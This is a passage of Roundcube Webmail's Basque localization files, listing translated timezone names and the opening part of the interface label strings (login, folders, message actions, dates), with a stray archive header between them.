$labels['tz:america:argentina:cordoba'] = 'Cordoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'Errioxa';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Río Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucumán';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asuncion';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Badia';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancun';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Cayman';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Costa Rica';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepe';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Badia';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadalupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Habana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinika';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexiko Hiria';
$labels['tz:america:miquelon'] = 'Mikelune';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'Ipar Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antartika';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Artikoa';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Bagdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Bakú';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damasko';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Jerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kolkata';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Macau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nikosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkanda';
$labels['tz:asia:seoul'] = 'Seul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapur';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Teheran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokio';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulan Bator';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantic';
$labels['tz:atlantic:azores'] = 'Azoreak';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cabo Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'Hego Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Europa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakan';
$labels['tz:europe:athens'] = 'Atenas';
$labels['tz:europe:belgrade'] = 'Belgrad';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brusela';
$labels['tz:europe:bucharest'] = 'Bukarest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Kopenhage';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernesey      ';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisboa';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'Londres';
$labels['tz:europe:luxembourg'] = 'Luxemburg';
$labels['tz:europe:madrid'] = 'Madril';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Mosku';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Praga';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Erroma';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirana';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatikanoa';
$labels['tz:europe:vienna'] = 'Viena';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsaw';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldivak';
$labels['tz:indian:mauritius'] = 'Maurizio';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapago';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\S
�����%program/localization/eu_ES/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Ongi etorri $product-ra';
$labels['username'] = 'Erabiltzaile-izena';
$labels['password'] = 'Pasahitza';
$labels['server'] = 'Zerbitzaria';
$labels['login'] = 'Saio hasiera';
$labels['oauthlogin'] = 'Hasi saioa &hornitzaile batekin';
$labels['menu'] = 'Menua';
$labels['logout'] = 'Irten';
$labels['mail'] = 'E-posta';
$labels['settings'] = 'Ezarpenak';
$labels['addressbook'] = 'Helbide liburua';
$labels['darkmode'] = 'Modu iluna';
$labels['lightmode'] = 'Modu argia';
$labels['inbox'] = 'Sarrera ontzia';
$labels['drafts'] = 'Zirriborroak';
$labels['sent'] = 'Bidalitakoak';
$labels['trash'] = 'Zakarrontzia';
$labels['junk'] = 'Zabor-posta';
$labels['show_real_foldernames'] = 'Erakutsi karpeta berezien benetako izenak';
$labels['subject'] = 'Gaia';
$labels['from'] = 'Nork';
$labels['sender'] = 'Igorlea';
$labels['to'] = 'Nori';
$labels['cc'] = 'Kopia';
$labels['bcc'] = 'Bcc';
$labels['replyto'] = 'Erantzun honi';
$labels['followupto'] = 'Jarraipena honi';
$labels['date'] = 'Data';
$labels['size'] = 'Tamaina';
$labels['priority'] = 'Lehentasuna';
$labels['organization'] = 'Erakundea';
$labels['readstatus'] = 'Irakurri egoera';
$labels['listoptions'] = 'Zerrendatu aukerak...';
$labels['listoptionstitle'] = 'Zerrendatu aukerak';
$labels['mailboxlist'] = 'Karpetak';
$labels['messagesfromto'] = '$from -tik $to -ra $count mezuetatik';
$labels['threadsfromto'] = '$from -etik $to -rako gaiak (guztira $count)';
$labels['messagenrof'] = '$nr mezua $count -tik';
$labels['fromtoshort'] = '$from - $to , guztira $count';
$labels['copy'] = 'Kopiatu';
$labels['move'] = 'Mugitu';
$labels['moveto'] = 'Mugitu hona...';
$labels['copyto'] = 'Kopiatu hona...';
$labels['download'] = 'Deskargatu';
$labels['open'] = 'Ireki';
$labels['showattachment'] = 'Erakutsi';
$labels['showanyway'] = 'Erakutsi edonola';
$labels['filename'] = 'Fitxategi-izena';
$labels['filesize'] = 'Fitxategi-tamaina';
$labels['addtoaddressbook'] = 'Gehitu helbide liburura';
$labels['sun'] = 'Iga';
$labels['mon'] = 'Al';
$labels['tue'] = 'As';
$labels['wed'] = 'Azt';
$labels['thu'] = 'Og';
$labels['fri'] = 'Or';
$labels['sat'] = 'Lar';
$labels['sunday'] = 'Igandea';
$labels['monday'] = 'Astelehena';
$labels['tuesday'] = 'Asteartea';
$labels['wednesday'] = 'Asteazkena';
$labels['thursday'] = 'Osteguna';
$labels['friday'] = 'Ostirala';
$labels['saturday'] = 'Larunbata';
$labels['jan'] = 'Urt';
$labels['feb'] = 'Ots';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Api';
$labels['may'] = 'Mai';
$labels['jun'] = 'Eka';
$labels['jul'] = 'Uzt';
$labels['aug'] = 'Abu';
$labels['sep'] = 'Ira';
$labels['oct'] = 'Urr';
$labels['nov'] = 'Aza';
$labels['dec'] = 'Abe';
$labels['longjan'] = 'Urtarrila';
$labels['longfeb'] = 'Otsaila';
$labels['longmar'] = 'Martxoa';
$labels['longapr'] = 'Apirila';
$labels['longmay'] = 'Maiatza';
$labels['longjun'] = 'Ekaina';
$labels['longjul'] = 'Uztaila';
$labels['longaug'] = 'Abuztua';
$labels['longsep'] = 'Iraila';
$labels['longoct'] = 'Urria';
$labels['longnov'] = 'Azaroa';
$labels['longdec'] = 'Abendua';
$labels['today'] = 'Gaur';
$labels['refresh'] = 'Freskatu';
$labels['checkmail'] = 'Arakatu mezu berrien bila';
$labels['compose'] = 'Idatzi mezu bat';
$labels['writenewmessage'] = 'Sortu mezu berri bat';
$labels['reply'] = 'Erantzun';
$labels['replytomessage'] = 'Mezuari erantzun';
$labels['replytoallmessage'] = 'Bidaltzaileari eta hartzaile guztiei erantzun';
$labels['replyall'] = 'Guztiei erantzun';
$labels['replylist'] = 'Erantzun zerrenda';
$labels['forward'] = 'Birbidali';
$labels['forwardinline'] = 'Birbidali barnean';
$labels['forwardattachment'] = 'Birbidali eranskin gisa';
$labels['forwardmessage'] = 'Birbidali mezua';
$labels['bouncemsg'] = 'Bidali berriro (errebotatu)';
$labels['bounce'] = 'Bidali berriro';
$labels['deletemessage'] = 'Ezabatu mezua';
$labels['movemessagetotrash'] = 'Mugitu mezua zakarrontzira';
$labels['printmessage'] = 'Inprimatu mezu hau';
$labels['previousmessage'] = 'Erakutsi aurreko mezuak';
$labels['firstmessage'] = 'Erakutsi lehenengo mezua';
$labels['nextmessage'] = 'Erakutsi hurrengo mezua';
$labels['lastmessage'] = 'Erakutsi azken mezua';
$labels['backtolist'] = 'Mezu zerrendara itzuli';
$labels['viewsource'] = 'Erakutsi kodea';
$labels['mark'] = 'Markatu';
$labels['markmessages'] = 'Markatu mezuak';
$labels['markread'] = 'Irakurria bezala';
$labels['markunread'] = 'Ez-irakurria bezala';
$labels['markflagged'] = 'Markatua bezala';
$labels['markunflagged'] = 'Ez-markatua bezala';
$labels['markundeleted'] = 'Ezabatu gabe gisa';
$labels['moreactions'] = 'Ekintza gehiago...';
$labels['markallread'] = 'Markatu dena irakurrita bezala';
$labels['folders-cur'] = 'Hautatutako karpeta bakarrik';
$labels['folders-sub'] = 'Hautatutako karpeta eta haren azpikarpetak ';
$labels['folders-all'] = 'Karpeta guztiak';
$labels['more'] = 'Gehiago';
$labels['back'] = 'Atzera';
$labels['options'] = 'Aukerak';
$labels['composeoptions'] = 'Konposatu aukerak';
$labels['optionsandattachments'] = 'Aukerak eta eranskinak';
$labels['actions'] = 'Ekintzak';
$labels['first'] = 'Lehenengoa';
$labels['last'] = 'Azkena';
$labels['previous'] = 'Aurrekoa';
$labels['next'] = 'Hurrengoa';
$labels['select'] = 'Hautatu';
$labels['selection'] = 'Hautapena';
$labels['all'] = 'Denak';
$labels['none'] = 'Bat ere ez';
$labels['currpage'] = 'Uneko orrialdea';
$labels['isread'] = 'Irakurri';
$labels['unread'] = 'Irakurri gabeak';
$labels['flagged'] = 'Banderaduna';
$labels['unflagged'] = 'Etiketatu gabe';
$labels['unanswered'] = 'Erantzun gabea';
$labels['withattachment'] = 'Eranskinarekin';
$labels['deleted'] = 'Ezabatuak';
$labels['undeleted'] = 'Ezabatu gabeak';
$labels['replied'] = 'Erantzunda';
$labels['forwarded'] = 'Birbidalita';
$labels['invert'] = 'Alderantzizkatu';
$labels['filter'] = 'Iragazkia';
$labels['list'] = 'Zerrenda';
$labels['threads'] = 'Hariak';
$labels['expand-all'] = 'Hedatu denak';
$labels['expand-unread'] = 'Ireki irakurri gabeak';
$labels['collapse-all'] = 'Tolestu guztiak';
$labels['threaded'] = 'Harian';
$labels['showunread'] = 'Erakutsi irakurri gabeko mezuak';
$labels['autoexpand_threads'] = 'Hedatu mezu hariak';
$labels['do_expand'] = 'hari guztiak';
$labels['expand_only_unread'] = 'soilik irakurri gabeko mezuak dituztenak';
$labels['fromto'] = 'Nork/Nori';
$labels['flag'] = 'Bandera';
$labels['attachment'] = 'Eranskina';
$labels['nonesort'] = 'Bat ere ez';
$labels['sentdate'] = 'Bidalketa data';
$labels['arrival'] = 'Jasotze data';
$labels['asc'] = 'gorantz';
$labels['desc'] = 'beheruntz';
$labels['listcolumns'] = 'Zerrenda-zutabeak';
$labels['listsorting'] = 'Zutabea ordenatzen';
$labels['listorder'] = 'Ordenatze irizpidea';
$labels['listmode'] = 'Zerrenda ikuspegiko modua';
$labels['lmode'] = 'Zerrenda modua';
$labels['layout'] = 'Diseinua';
$labels['layoutwidescreen'] = 'Panoramikoa';
$labels['layoutdesktop'] = 'Mahaigaina';
$labels['layoutlist'] = 'Zerrenda';
$labels['layoutwidescreendesc'] = 'Panoramikoa (3-zutabeko ikuspegia)';
$labels['layoutdesktopdesc'] = 'Mahaigaina (zerrenda zabalean eta postaren aurrebista behean)';
$labels['layoutlistdesc'] = 'Zerrenda (postaren aurrebistarik gabe)';
$labels['folderactions'] = 'Karpeta-ekintzak...';
$labels['compact'] = 'Trinkotu';
$labels['empty'] = 'Hustu';
$labels['importmessages'] = 'Inportatu mezuak';
$labels['mailimportdesc'] = 'Kargatu dezakezu mezua fitxategiak erabiliaz <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> edo <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> formatuetan.';
$labels['mailimportzip'] = 'Hainbat fitxategi konprimatu daiteke zip fitxategietan.';
$labels['quota'] = 'Disko erabilera';
$labels['unknown'] = 'ezezaguna';
$labels['unlimited'] = 'mugagabea';
$labels['quotatype'] = 'Kuota mota';
$labels['quotatotal'] = 'Muga';
$labels['quotaused'] = 'Erabilita';
$labels['quotastorage'] = 'Diskoko tokia';
$labels['quotamessage'] = 'Mezu kopurua';
$labels['shortheaderdate'] = '$date egunean';
$labels['shortheaderto'] = ' $date -ko $to -etara';
$labels['shortheaderfrom'] = '$date -ko $from -etatik';
$labels['quicksearch'] = 'Bilaketa azkarra';
$labels['searchplaceholder'] = 'Bilatu...';
$labels['resetsearch'] = 'Berrabiarazi bilaketa';
$labels['searchmod'] = 'Bilatu modifikadoreak';
$labels['msgtext'] = 'Mezu osoa';
$labels['body'] = 'Gorputza';
$labels['type'] = 'Mota';
$labels['namex'] = 'Izena';
$labels['searchscope'] = 'Esparrua';
$labels['currentfolder'] = 'Uneko karpeta';
$labels['subfolders'] = 'Hau eta azpikarpetak';
$labels['allfolders'] = 'Karpeta guztiak';
$labels['searchinterval-1W'] = 'astebete baino zaharragoak';
$labels['searchinterval-1M'] = 'hilabete baino zaharragoak';
$labels['searchinterval-1Y'] = 'urtebete baino zaharragoak';
$labels['searchinterval1W'] = 'astebetea baino berriagoak';
$labels['searchinterval1M'] = 'hilabetea baino berriagoak';
$labels['searchinterval1Y'] = 'urtebetea baino berriagoak';
$labels['openinextwin'] = 'Ireki leiho berrian';
$labels['emlsave'] = 'Deskargatu (.eml)';
$labels['changeformattext'] = 'Bistaratu formaturik gabeko testuan';
